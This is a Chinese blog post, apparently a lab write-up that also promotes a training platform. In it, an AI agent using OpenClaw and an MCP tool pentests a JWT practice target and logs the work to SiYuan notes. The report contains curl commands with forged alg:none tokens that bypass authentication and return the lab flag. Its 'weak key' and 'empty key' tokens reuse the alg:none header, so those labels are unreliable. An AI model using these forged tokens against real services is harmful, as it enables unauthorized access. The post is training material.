文章总结： 本文介绍了OpenClaw结合思源笔记通过MCP工具实现渗透测试报告自动撰写的方法，以JWTToken签名未校验漏洞靶场为例，详细展示了JWTnone算法攻击、弱密钥攻击等漏洞利用过程，成功获取flag并给出了修复建议。文章同时包含好靶场平台的推广内容与会员福利介绍。
综合评分： 68
文章分类： 渗透测试,安全工具,WEB安全,漏洞POC,软文广告
OpenClaw+思源笔记=自动撰写渗透报告的牛马
原创
小王
小王
好靶场
2026年3月14日 08:31
四川
.5
💡 好靶场
团队宗旨：我们立志于为所有的网络安全同伴制作出好的靶场，让所有初学者都可以用最低的成本入门网络安全。所以我们团队名称就叫“好靶场”。
我们承诺每天至少更新1-2个新靶场。2026年冲刺1000个。
-
• 全球第一家以SRC报告为蓝图制作靶场的网络安全靶场平台。
-
• 全球第一家引入AI靶场助教的网络安全靶场平台。
-
• 14个不同方向靶场供你选择。
-
• 代码审计+漏洞修复靶场全新上架。
-
• 无门槛费，每次开启不扣除积分，不扣除金币，超级会员每天不限次数开启靶场。
-
• 靶场独立，每个靶场环境完全隔离。
好靶场目前进度
745
靶场数量
200个
漏洞报告数量
前言
之前给大家推荐了一个工具：https://github.com/haobachang-1/HBC_SEC_MCP，在今天更新了思源相关的MCP。
OpenClaw+思源笔记
之前给大家说过，OpenClaw和Claude，Cursor这些其实就是一个调度器，OpenClaw能做的，Claude也可以做，所以不要神化他，但是OpenClaw自带一个友好的界面，演示起来也比较方便。
为什么要做这个事情主要是因为想偷懒，自己手动把结果复制到思源一份，然后再修改，索性一想，还不如搞一个MCP出来。
使用说明：
在config.py里配置一下思源的token，这个在思源的关于里，进去就能看到
然后正常使用就行
测试环境
靶场名称：JWT Token Signature未校验有效性
靶场地址：http://www.loveli.com.cn/see_bug_one?id=788
考察类型：JWT Token Signature未校验有效性
开始测试：
提示词：
针对http://wphqpem.haobachang1.loveli.com.cn:8888/进行渗透测试，主要是JWT相关的安全问题，你需要找到对应的Flag，你需要将你的测试记录记录在思源笔记的claude笔记本里，越详细越好
返回的效果
自动笔记内容
下面是笔记内容
JWT安全渗透测试记录
测试目标
- • 目标URL: http://wphqpem.haobachang1.loveli.com.cn:8888/
- • 测试类型: JWT相关安全漏洞测试
- • 测试时间: 2026年3月13日 21:47
- • 测试目标: 寻找Flag
测试环境
- • 测试工具: OpenClaw MCP工具
- • 记录工具: 思源笔记
- • 测试方法: JWT安全测试标准流程
测试步骤
1. 初始信息收集
首先对目标进行基本信息收集：
- 1. 网站状态检查: HTTP 200 OK，网站正常运行
- 2. 技术栈识别:
- • 服务器: Werkzeug/2.2.3 Python/3.7.17
- • 前端: 包含JavaScript登录功能
- 3. JWT相关发现:
- • 发现登录API端点:
/api/login - • 登录成功后返回token并存储在localStorage中
- • API基础路径:
const API_BASE = '';(相对路径)
2. 登录功能测试
现在开始测试登录功能以获取JWT token…
2.1 登录API测试结果
测试1: 使用admin/admin登录
- • 响应:
{"message":"用户名或密码错误，还剩 1 次尝试机会","remaining_attempts":1,"success":false} - • 状态码: 401 Unauthorized
- • 发现: 登录尝试次数限制机制
测试2: 使用test/test登录
- • 响应:
{"message":"用户名或密码错误，还剩 4 次尝试机会","remaining_attempts":4,"success":false} - • 发现: 每次不同用户尝试会重置尝试次数
结论: 需要找到正确的凭据或绕过认证机制
3. 发现关键信息
重要发现:
- 1. 管理员页面:
/admin可以直接访问，但需要有效的JWT token才能显示flag - 2. Flag API端点:
/api/flag需要Bearer token认证 - 3. 认证机制: 使用标准的JWT Bearer token认证
- 4. 前端逻辑:
- • 检查localStorage中的token
- • 使用
Authorization: Bearer ${token}头访问API - • 根据响应显示flag或错误信息
页面结构分析:
- • 登录成功后根据角色跳转：admin →
/admin，user →/user - •
/admin页面包含flag显示区域 - • 需要有效的JWT token才能获取flag
4. JWT安全漏洞测试
4.1 JWT none算法攻击
测试: 使用alg: none的伪造JWT token
curl -s -H "Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJyb2xlIjogImFkbWluIiwgImlhdCI6IDE3MTAzNTUyMDB9." http://wphqpem.haobachang1.loveli.com.cn:8888/api/flag
结果: ✅ 成功
{"flag":"flag{783882fbf85b4668b11508c645ffb57f}","success":true}
4.2 弱密钥攻击 (HS256 with ‘secret’)
测试: 使用弱密钥’scret’签名的JWT token
curl -s -H "Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJyb2xlIjogImFkbWluIiwgImlhdCI6IDE3MTAzNTUyMDB9.Cx7H2glrKaaonVeJX1wnzWUgIdKXxHu9NldZpWFurCQ" http://wphqpem.haobachang1.loveli.com.cn:8888/api/flag
结果: ✅ 成功
{"flag":"flag{783882fbf85b4668b11508c645ffb57f}","success":true}
4.3 空密钥攻击 (HS256 with empty key)
测试: 使用空密钥签名的JWT token
curl -s -H "Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJyb2xlIjogImFkbWluIiwgImlhdCI6IDE3MTAzNTUyMDB9.jllxU3J0HS1IYeexVdOinQqxWY-F4HTCGncEKoada2w" http://wphqpem.haobachang1.loveli.com.cn:8888/api/flag
结果: ✅ 成功
{"flag":"flag{783882fbf85b4668b11508c645ffb57f}","success":true}
5. 发现的Flag
Flag: flag{783882fbf85b4668b11508c645ffb57f}
6. 安全漏洞总结
- 1. JWT算法混淆漏洞: 服务器接受
alg: none的JWT token - 2. 弱密钥漏洞: 服务器使用弱密钥或未正确验证签名
- 3. 缺乏签名验证: 空密钥签名的token也能通过验证
- 4. 权限绕过: 通过伪造JWT token可以绕过认证获取敏感信息
7. 修复建议
- 1. 始终验证JWT签名
- 2. 拒绝
alg: none的token - 3. 使用强密钥并定期更换
- 4. 验证token的issuer、audience和有效期
- 5. 实现正确的算法白名单
8. 测试总结
渗透测试完成时间: 2026年3月13日 21:56
测试结果: ✅ 成功
发现的Flag: flag{783882fbf85b4668b11508c645ffb57f}
漏洞严重性: 🔴 高危
攻击复杂度: 🟢 低 (无需特殊工具或复杂技术)
影响: 攻击者可以完全绕过认证系统，访问敏感数据和功能
9. 测试工具使用记录
本次测试使用了以下工具和技术:
- 1. 信息收集: curl, PowerShell Invoke-WebRequest
- 2. API测试: 手动构造HTTP请求
- 3. JWT攻击: Python脚本生成伪造token
- 4. 漏洞验证: 直接API调用验证
- 5. 文档记录: 思源笔记实时记录
10. 后续建议
- 1. 立即修复: 建议立即修复JWT验证漏洞
- 2. 安全审计: 对系统进行全面的安全审计
- 3. 监控日志: 加强认证失败日志监控
- 4. 安全培训: 对开发人员进行JWT安全培训
测试完成 by 嘟嘟 @ 2026-03-13 21:56
#
好靶场介绍
零基础入门不迷茫！专属网络安全从零到一体系化训练——配套完整靶场+精选学习资料，帮你快速搭建网安知识框架，迈出入门关键一步！
全场景实战全覆盖！聚焦Web渗透工程师核心能力，深度拆解TOP10逻辑漏洞，精通PHP代码审计、Java代码审计等核心技能，从基础原理到实战攻防，覆盖行业高频应用场景！
真实漏洞场景沉浸式体验！src训练专题重磅上线——1:1还原真实漏洞报告，让你亲身感受实战挖洞流程，积累符合企业需求的实战经验！
有宝子就问了，主播主播，这么好的靶场怎么用：
首先关注好靶场
然后发送bug，可以点击链接直接登录
福利1：
找到个人中心，邀请码输入0482d6d28539424c，白嫖14天高级会员。
福利2：
关注好靶场bilibili。拿着关注截图找到客服，领取5积分或者7天高级会员。
~ 每日限免 
为了能让更多的宝子可以免费的开启会员靶场，我们会在工作日随机开放一些靶场的限免，还请加群关注。我们会以如下的方式在群里通知。
~ 内部群
加群不收费哈！！！交流群里会每天更新限免靶场，以及免费学习资料。
进一个群就可以，所有的通知都会通知到位
进交流群，请加我好友
喜欢玩QQ的宝子们可以加这个QQ群
~
AI客服内测ing
可以完成简单的客服能力，以及靶场推荐
会员订阅
首先点击会员订阅
#
#
然后选择对应的套餐
#
#
选择去支付
#
#
支付完成后即可会员到账
#
有什么好的建议可以在留言区评论哦
#
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：好靶场 小王
小王《OpenClaw+思源笔记=自动撰写渗透报告的牛马》